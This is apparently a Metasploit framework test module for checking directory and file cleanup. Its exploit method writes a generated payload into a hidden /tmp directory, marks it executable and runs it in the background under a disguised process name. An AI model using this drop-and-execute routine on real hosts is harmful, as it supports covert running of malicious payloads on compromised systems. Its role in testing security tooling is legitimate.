##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Test reg_dir_for_cleanup',
      'Description'    => %q{
        Test
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'test reg_dir_for_cleanup'
        ],
      'DisclosureDate' => 'test dir cleanup',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'References'     =>
        [
          [ ]
        ]
    ))
  end

  def exploit
    # create a dir
    d = '/tmp/.delete.me.dir'
    cmd = "mkdir -p #{d}"
    print_status "Running command: #{cmd.inspect}"
    output = cmd_exec cmd
    output.each_line { |line| vprint_status line.chomp }
    register_dir_for_cleanup d

    # upload payload
    payload_file = "#{d}/.payload.file"
    rm_f payload_file
    write_file payload_file, generate_payload_exe
    register_file_for_cleanup payload_file
    cmd_exec "chmod +x #{payload_file}"

    # execute
    cmd = payload_file
    print_status "Running command: #{cmd.inspect}"
    output = cmd_exec "bash -c \"exec -a asdf #{cmd}&\""
    output.each_line { |line| vprint_status line.chomp }

    puts cmd_exec 'echo we made it to the end'
  end
end
